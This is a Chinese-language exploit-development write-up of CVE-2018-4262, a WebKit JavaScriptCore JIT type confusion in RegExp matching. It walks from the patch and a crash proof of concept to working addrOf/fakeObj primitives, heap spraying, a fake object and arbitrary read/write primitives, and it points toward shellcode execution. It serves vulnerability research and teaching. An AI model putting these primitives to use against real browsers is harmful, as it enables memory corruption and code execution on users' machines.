CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT

0x00 Official Bug Reports

Bug report: https://bugs.webkit.org/show_bug.cgi?id=191731

关键的Patch:

1
2
3
4
5
6
7
// Source/JavaScriptCore/builtins/RegExpPrototype.js
function hasObservableSideEffectsForRegExpMatch(regexp)
{
// ...
- return !@isRegExpObject(regexp);
+ return typeof regexp.lastIndex !== "number";
}

[5] 官方介绍.

0x01 Simple POC

来自[1].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310

var funcToJIT = function() {
'abc'.match(reg);
victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

它的运行结果:

  1. 在第20行之后, victim_array[0]类型为Pointer (预期类型为Double), 而值却为 5.2900040263529e-310 == 0x0000616161616161.
  2. 在第21行尝试调用victim_array[0].toString(), 但是它是一个invalid pointer, 因此产生了segmentfault.

造成原因:

  1. 第10-12行触发JIT之后, 使得第7行这里有一个PutByVal without type check, 会直接将val写入对应的内存, 不考虑它的类型. 这是因为JIT compiler在优化时, 认为val值没有发生变化. 更具体地说, 在第6行这里读取lastIndex时产生的副作用(调用.toString())没有被考虑到.

  2. 第19行将reg.lastIndex设置为了一个object, 这个object的toString方法里面会将victim_array[0]置为一个empty object.

  3. 第20行触发了之前生成的JIT代码:

    1. 调用match时, 会读取lastIndex, 发现它不是一个整数, 那么需要将其转换成整数, 所以触发了toString, 使得victim_array[0]被置为了一个object.
    2. 随后在写入 val时并没有进行type checking.

0x02 详细的漏洞原因

前面提到了大致原因, 就是DFGJIT compiler没有意识到在访问lastIndex会产生side-effects. 运行jsc时附带上环境变量JSC_dumpSourceAtDFGTime=trueJSC_reportDFGCompileTimes=true, 可以显示DFGJIT优化作用在哪些source code上. 值得注意是match方法是由Javascript代码写的, 这意味jsc中的内置函数可能有多种implementation方式, 以后在查阅指定函数时, 可以关注一下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// builtins/StringPrototype.js
// '...' = code we are not interested in.
function match(regex)
{
"use strict";

if (this == null)
@throwTypeError(...);

if (regex != null) {
var matcher = regexp.@matchSymbol; // 除了'abc'.match(regex), 我们还可以写regex[Symbol.match]('abc').
if (matcher != @undefined)
return matcher.@call(regexp, this);
}
...
}

跟进第13行,

1
2
3
4
5
6
7
8
9
10
// builtins/RegExpPrototype.js
@overriddenName="[Symbol.match]"
function match(strArg)
{
...

if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}

其中hasObservableSideEffectsForRegExpMatch函数会判定此次match方法调用过程中是否会产生side-effects. 如果没有产生side-effects, 则进行regExpMatchFast调用. 参考前面的patch, hasObservableSideEffectsForRegExpMatch并没有考虑到lastIndex的存在. 所以这里会顺利的进行regExpMatchFast调用, 而在DFGJIT认为它并不会clobber the World (side-effects alias?) .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
switch (node->op()) {
...
case RegExpTest:
// Even if we've proven know input types as RegExpObject and String,
// accessing lastIndex is effectful if it's a global regexp.
clobberWorld();
setNoneCellTypeForNode(node, SpecBoolean);
break;
case RegExpMatchFast:
ASSERT(node->child2().useKind() == RegExpObjectUse);
ASSERT(node->child3().useKind() == StringUse || node->child3().useKind() == KnownStringUse);
setTypeForNode(node, SpecOther | SpecArray);
break;
...
}

值得注意是RegExpTest中的comment已经提及了lastIndex可以会被改变, 有趣是RegExpMatchFast 中为何不考虑呢?

0x03 大致的利用路线

大致路线为:

  1. 构造addressOf原语
  2. 构造fakeObj原语
  3. 构造更加稳定的addressOffakeObj原语
  4. 构造任意地址read64write64原语

0x04 addressOf 原语

原语如下, 传入的obj为一个需要泄露地址的目标object. 来自[1]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function addrOf(obj) {
var victim_array = [1.1];
var reg = /abc/y;

var funcToJIT = function(array){
'abc'.match(reg);
return array[0];
}

for(var i=0; i< 10000; i++){
funcToJIT(victim_array);
}

regexLastIndex = {};
regexLastIndex.toString = function(){
victim_array[0] = obj;
return "0";
};
reg.lastIndex = regexLastIndex;

return funcToJIT(victim_array)
}

注意此时函数funcToJit中的不再是PutByVal, 而是GetByVal. 当JIT compiler认为victim_array在运行过程中没有改变(总是ArrayWithDouble)之后, 它会直接读取它的第1个元素, 把它作为一个Double返回而不进行type checking.

这里有一个小问题, 一个Pointer对应value显然不是一个合法的Double, 那么函数addrof是如何将Pointer作为Double返回的 ? 这个问题非常有趣, 经过一段时间debug, 我发现了Double在内存中的表示是不一样的.

  • 当一个object被标记为ArrayWithDouble, 意味着它的所有元素都是Double. 这个时候所有的Double会以原double-floating point存储, 而不会加上2^48的offset.
  • 当一个object被标记为ArrayWithContiguous, 意味着它包含的元素类型是多样的. 这个时候所有的元素都会严格按照JSValue的规定来存储.

我是如何发现这个问题呢? 我用--dumpDFGDisassembly打印了经过DFGJIT优化过的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
438:<!3:loc14>	GetByVal(KnownCell:@629, Int32:@437, Check:Untyped:@621, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsdouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsdouble
0x7f8a6d304d61: mov $0x7f8a6d113140, %r11
0x7f8a6d304d6b: mov (%r11), %r11
0x7f8a6d304d6e: test %r11, %r11
0x7f8a6d304d71: jz 0x7f8a6d304d7e
0x7f8a6d304d77: mov $0x113, %r11d
0x7f8a6d304d7d: int3
0x7f8a6d304d7e: xor %edx, %edx
0x7f8a6d304d80: cmp -0x8(%rax), %edx
0x7f8a6d304d83: jae 0x7f8a6d305082
0x7f8a6d304d89: movsd (%rax,%rdx,8), %xmm0
0x7f8a6d304d8e: ucomisd %xmm0, %xmm0
0x7f8a6d304d92: jp 0x7f8a6d3050a9

626:< 1:loc13> ValueRep(DoubleRep:@438<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
0x7f8a6d304d98: movq %xmm0, %rax
0x7f8a6d304d9d: sub %r14, %rax
0x7f8a6d304da0: cmp %r14, %rax
0x7f8a6d304da3: jae 0x7f8a6d304db2
0x7f8a6d304da9: test %rax, %r14
0x7f8a6d304dac: jnz 0x7f8a6d304db9
0x7f8a6d304db2: mov $0x3c, %r11d
0x7f8a6d304db8: int3

可以看到GetByVal只进行了array index的检查 ($rax 为butterfly的地址), 然后就把值取出来了 (放在$rax上). 而后有一个ValueRep操作, 看一下对应的codegen代码(Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp), 它配合DoubleRep 会将指定的值boxxing成一个合法的Double. 看到这里我们才意识到double-floating point可能就是以原值存储的. 对此, JSC (Source/JavaScriptCore/bytecode/DataFormat.h)解释为

Values may be unboxed primitives (int32, double, or cell), or boxed as a JSValue. For boxed values, we may know the type of boxing that has taken place. (May also need bool, array, object, string types!)

总之就是一句话Storing our value as a JSValue is necessary. 可以尽可能地优化掉encode/decode带来的performance. 在这里作为函数返回值, Caller可能不能准确地预知它的类型, 那么统一将其视为JSValue, 所以这里需要一个boxDouble过程. 使得即使这里是一个Pointer, JSC依然认为其就是一个double-floating point.

0x05 fakeObj原语

原语如下, 来自[1] . 传入的addr为一个double, 作为fake object的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function fakeObj(addr){
var victim_array = [1.1];
var reg = /abc/y;

var funcToJIT = function(array){
'abc'.match(reg);
array[0] = addr;
}

for(var i=0; i < 10000; i++){
funcToJIT(victim_array);
}

regexLastIndex = {};
regexLastIndex.toString = function(){
victim_array[0] = {};
return "0";
}
reg.lastIndex = regexLastIndex;
funcToJIT(victim_array);

return victim_array[0];
}

与Simple POC比较相似. 想要fakeObj make sense, 我们需要传入一个正确的addr. 换句话, 这个addr对应的memory layout必须长的像一个JSObject才行. 比如v = {a : 1, b : 2},

1
2
3
4
5
6
>>> describe(v)   
Object: 0x7f5998db0080 with butterfly (nil) (Structure 0x7f5998d70380:[Object, {a:0, b:1}, NonArray, Proto:0x7f5998db4000, Leaf]), StructureID: 295

pwndbg> x/4gx 0x7f5998db0080
0x7f5998db0080: 0x0100160000000127 0x0000000000000000 jscell | butterfly_pointer
0x7f5998db0090: 0xffff000000000001 0xffff000000000002 a : 1 | b : 2

这里提出两个小问题:

  1. 在哪里伪造fake object ?
  2. 伪造fake object时需要注意什么 ?

首先我们来回答第一个问题, 最简单的方法就是利用inline property storage. 比如我可以通过v.a = int2f(0x0100160000000127 - 2^48) (注意Double编码) 来构造如下memory layout:

1
2
3
pwndbg> x/4gx 0x7f5998db0080
0x7f5998db0080: 0x0100160000000127 0x0000000000000000 jscell | butterfly_pointer
0x7f5998db0090: 0x0100160000000127 0xffff000000000002 a : dd | b : 2 <---- fake_object

按道理, 你在butterfly上构造也是可以的. 简而言之你可以通过设置property或者elements来布置memory layout.

再来回答第二个问题. 伪造一个"能用的" object需要具备以下几个条件:

  1. JSCell header需要设置正确, 其中比较关键是structureId, 其余的修饰字段, 可以申请一个合适的object然后复制粘贴. 一个object的structure决定我们可以如何操作这个object.
  2. 如果需要设置butterfly pointer, 首先它是一个Pointer; 如果不需要设置butterfly pointer, 那么需要将其置为NULL.

这里面问题就是, 如果需要布置的data不是一个valid double, 我们应当如何操作呢? 比如写bufferfly pointer这里, 或者JSCell对应不是像上面一样是一个valid double. 答案是我们可以通过某种indirect write的方式实现. 关于写NULL是有一个小trick的, 我们可以delete(v.b)来实现.

0x06 Arbitrary Read and Write 原语

0x06.1 基本构造思路

思想来自于[2], 其包含的大致路线就是:

  1. 构造一个fake_object
  2. 通过fake_object控制victim_object的butterfly.
  3. 读写victim_object的property实现任意地址的读写.

其实这个构造过程有点绕, 需要花一点点图来帮助理解.

前面提到, 我们如果需要设置butterfly, 就需要写入一个合法的 Pointer. 考虑我们将fake_object的butterfly设置成一个object的地址会发生什么? 参考下述图1:

indirect write 1

这里我们做了这样几件事:

  1. 申请一个正常的victim_jsobject.
  2. 构造了一个user_jsobject (无butterfly), 在它的inline property storage上构造了一个fake_jsobject.
  3. 使得fake_jsobject的butterfly pointer为victim_jsobject.

当有这样一个结构之后, 我们可以尝试进行以下操作:

  1. 操作fake_jsobject的属性或者元素, 来修改victim_jsobject的victim_butterfly_pointer.
  2. 将victim_butterfly_pointer置为我们想要读写的目标内存地址.
  3. 操作victim_jsobject的属性或者元素, 来修改目标内存上的内容.

这就是我们的思路, 接下来就是填补里面的细节.

0x06.2 确定fake_jsobject和victim_jsobject

影响我们构造fake_jsobject的两个因素:

  1. victim_jsobject被视为一个butterfly.
  2. vitcim_butter_pointer位于addr_of_victim_jsobject + 0x8的位置.

那么我们最好的做法是通过fake_obj[1] = target_victim_butterfly_pointer. 那么需要满足这样几个条件:

  1. fake_jsobject包含一个array, i.e., fake_obj = [1.1,2.2].
  2. fake_structure_id要对应包含上述array的structure.
  3. fake_butterfly_pointer需要正好指向victim_jsobject.

满足这些条件的方法就是heap spraying. 参考来自[2]的heap spraying代码片段:

1
2
3
4
5
6
7
var obj_arr = [];
for (var i = 0; i < 1000; i++) {
var obj = [13.37];
obj.a = 0.25;
obj['p'+i] = 0.5;
obj_arr.push(obj)
}

每一个obj:

  • 包含array, 用来构造fake_jsobject需要的structure.
  • 一个固定属性, 用于操作victim_jsobject, 后面细说.
  • 一个随机属性, 用于产生大量不同的structure, 进而占据大量structure ids.

我们将其中一个obj也作为victim_jsobject.

假设上述任意一个obj对应的JSObject如下:

1
2
3
4
5
>>> describe(obj_arr[0])       
Object: 0x7eff2edb4360 with butterfly 0x7ee0000e4088 (Structure 0x7eff2ed70380:[Array, {a:100, p0:101}, ArrayWithDouble, Proto:0x7eff2edc80a0, Leaf]), StructureID: 295

pwndbg> x/4gx 0x7eff2edb4360
0x7eff2edb4360: 0x0108210700000127 0x00007ee0000e4088 js_cell | butterfly pointer

构造fake_jsobject过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;

function f2i(f) {
f64[0] = f;
return u32[0] + BASE*u32[1];
}

function i2f(i) {
u32[0] = i%BASE;
u32[1] = i/BASE;
return f64[0];
}

u32[0] = 0x200; // 512
u32[1] = 0x01082109 - 0x10000; // 考虑boxed double
var arrayWithContiguous= f64[0];

u32[1] = 0x01082107 - 0x10000; // 考虑boxed double
var arrayWithDouble= f64[0];

var victim_obj = obj_arr[500];

var user_obj = {
js_cell_header : arrayWithContiguous,
butterfly_pointer: victim_obj
};

var fake_obj = fakeObj(i2f(f2i(addrOf(user_obj)) + 0x10))

这里有几个问题:

  1. 这个f2i准不准? 因为javascript里面是没有int64的, 而double的有效位是53. 但是对于这里我们指针操作而言, 已经足够了, 因为指针的有效位是48.

  2. fake_objobj的description不是一致的(ArrayWithDouble), 而是ArrayWithContiguous. 因为后面在我们会在fake_obj写入其他类型的值, 如果是ArrayWithDouble, 会导致一个conversion, 这个conversion会出问题. 因为fake_obj的butterfly (即victim_obj) 并不是一个ArrayWithDouble. 在[1]中构造中, fake_obj的description使用了ArrayWithDouble, 其实是有问题的.

    • static const IndexingType ContiguousShape = 0x08;
    • static const IndexingType DoubleShape = 0x06;
  3. fake_obj有没有可能构造失败? 显然是有的, 因为fake_structure_id有可能选择失败. 那么有没有更safe的方法呢? 可以去看[3], Linus采用的方法是

    • 找一个native structure来利用, 比如WebAssembly.Memory, 使得我们这里的obj = new WebAssembly.Memory({inital: 0});
    • 设定一个起始fake_structure_id给fake_obj, 然后通过fake_obj instanceof WebAssembly.Memory来确定fake_obj是否构造成功.
    • 如果不是WebAssembly.Memory , 则让fake_structure_id加1, 继续检查.

    这个过程中Linus还有一些优化操作, 具体的可以查看[4].

我们可以来验证一下构造的fake_obj.

1
2
3
4
5
6
7
>>> describe(fake_obj)
Object: 0x7fbb6b9c83b0 with butterfly 0x7fbb6b9b62d0 (Structure 0x7fbb6b94a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x7fbb6b9c80a0, Leaf]), StructureID: 512
>>> describe(victim_object)
Object: 0x7fbb6b9b62d0 with butterfly 0x7fa8000c5f48 (Structure 0x7fbb6b936ed0:[Array, {a:100, p500:101}, ArrayWithDouble, Proto:0x7fbb6b9c80a0, Leaf]), StructureID: 823

pwndbg> x/4gx 0x7fbb6b9c83b0
0x7fbb6b9c83b0: 0x0108210700000200 0x00007fbb6b9b62d0

可以看见fake_objvictim_obj都具有我们预期的structure, 并且fake_obj的butterfly pointer指向victim_obj.

0x06.3 构造read64和write64

接下来我们构造任意地址上的read64和write64. 首先我们看一下victim_object的butterfly布局

1
2
3
4
5
6
pwndbg> x/4gx 0x7fa8000c5f30 
0x7fa8000c5f30: 0x3fe1000000000000 0x3fd1000000000000 p500 | a
0x7fa8000c5f40: 0x0000000100000001 0x402abd70a3d70a3d len | 13.37
|
|
victim_butterfly_pointer

当我们访问victim_object.a时, 实际访问是地址victim_butterfly_pointer - 0x10处的值. 这意味着我们如果想要访问target_mem, 那么我们应该将victim_butterfly_pointer设置为target_mem + 0x10.

现在我们假设victim_butterfly_pointer根据target_mem设置正确了, 这里还有几个值得商榷的细节,

  1. 如果victim_object.a的值不是Double, 比如是一个Pointer, 我们如何读呢? 即我们如何将任意的值都转换成Double读出来.
  2. 反过来, 如果要写入值是一个地址, 如何让victim_object.a拥有一个Pointer呢? 即我们如何将任意的值都转换成Double写入.

我们依然参考[2]中的利用, 接下来过程可以称的上非常精彩.

1
2
3
4
5
6
7
8
9
10
var unboxed = [13.37];
unboxed[0] = 4.2; // #防止unboxed成为CopyOnWriteArrayWithDouble, 赋值一次可确保ArrayWithDouble (来自[1])
var boxed = [{}];

fake_obj[1] = unboxed;
var shared_butterfly = f2i(victim_obj[1])
fake_obj[1] = boxed;
victim_obj[1] = i2f(shared_butterfly);

user_obj.js_cell_header = arrayWithDouble //

来一步步的解释下这里在干什么:

  1. 首先我们构造了unboxedboxed, 它分别是一个ArrayWithDoubleArrayWithContiguous. 前面我提到过ArrayWithDouble里面存储的都是unboxed value, 而ArrayWithContiguous里面存储的是boxed value, 即正常的JSValue.

  2. 执行fake_obj[1] = unboxed使得victim_obj的butterfly pointer指向了unboxed.

  3. 此时victim_obj[1]实际就是unboxed的butterfly pointer, 而victim_obj是一个ArrayWithDouble, 所以shared_butterfly就是unboxed的butterfly地址.

    1
    2
    3
    4
    5
    6
    >>> print(shared_butterfly)
    140050293817352
    pwndbg> p/x 140050293817352
    $7 = 0x7f6000038008
    >>> describe(unboxed)
    Object: 0x7f7be0bcc060 with butterfly 0x7f6000038008
  4. 同理, 再执行fake_obj[1] = boxed使得victim_obj的butterfly pointer指向了boxed.

  5. 此时victim_obj[1]实际就是boxed的butterfly pointer, 之后使得boxed的butterfly pointer指向了unboxed的butterfly.

    1
    2
    3
    4
    >>> describe(unboxed)        
    Object: 0x7f7be0bcc060 with butterfly 0x7f6000038008 (Structure 0x7f7be1bf2a70:[Array, {}, ArrayWithDouble, Proto:0x7f7be1bc80a0]), StructureID: 98
    >>> describe(boxed)
    Object: 0x7f7be0bcc070 with butterfly 0x7f6000038008 (Structure 0x7f7be1bf2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7f7be1bc80a0]), StructureID: 99
  6. 最后我们将fake_obj的description恢复成ArrayWithDouble, 使得我们将地址当做double的时候, 以原值存储.

用图表示就是

Hax

这样使得unboxedboxed拥有了相同的butterfly, 也就意味着, 一个数据可以按照unboxed value或者boxed value来进行处理. 这样使得我们有了更加稳定的addrOffakeObj原语, 这一步构造我觉得非常精妙.

1
2
3
4
5
6
7
8
9
10
var stage2 = {
addrof : function (obj){
boxed[0] = obj;
return f2i(unboxed[0]);
},
fakeobj : function (addr){
unboxed[0] = i2f(addr);
return boxed[0];
},
};

另外addrOf原语不仅可以读Object的地址 (或者说Pointer), 其他类型的值都是可以读的, 其值都是double形式返回. 那么我们的read64即为

1
2
3
4
stage2.read64 = function(where) {
fake_obj[1] = i2f(where + 0x10);
return this.addrof(victim_obj.a);
}

对于write64如下

1
2
3
4
stage2.write = function(where, what) {
fake_obj[1] = i2f(where + 0x10);
victim_obj.a = this.fakeobj(what);
},

注意现在fakeObj实际是可以封装任意的值, 将其封装为一个JSValue, 最后由以原值写入目标内存.

0x07 代码执行

常规手段, 找到RWX段, 写shellcode.

0x08 小问题

ubuntu20.04编译jsc出现的依赖问题

编译过程如下:

1
2
Tools/gtk/install-dependencies
Tools/Scripts/build-webkit --jsc-only --debug

遇到了libsrtp0-dev is not available, 可以替换成libsrtp2-dev.

引用

  1. JavaScript engine exploit(二),https://www.anquanke.com/post/id/183805
  2. NiklasB Exploit, https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  3. Linus Exploit, https://github.com/LinusHenze/WebKit-RegEx-Exploit/blob/master/pwn.js
  4. Preparing for Stage 2 of a WebKit Exploit, https://liveoverflow.com/preparing-for-stage-2-of-a-webkit-exploit/
  5. The Apple Bug That Fell Near The WebKit Tree, https://www.zerodayinitiative.com/blog/2019/3/14/the-apple-bug-that-fell-near-the-webkit-tree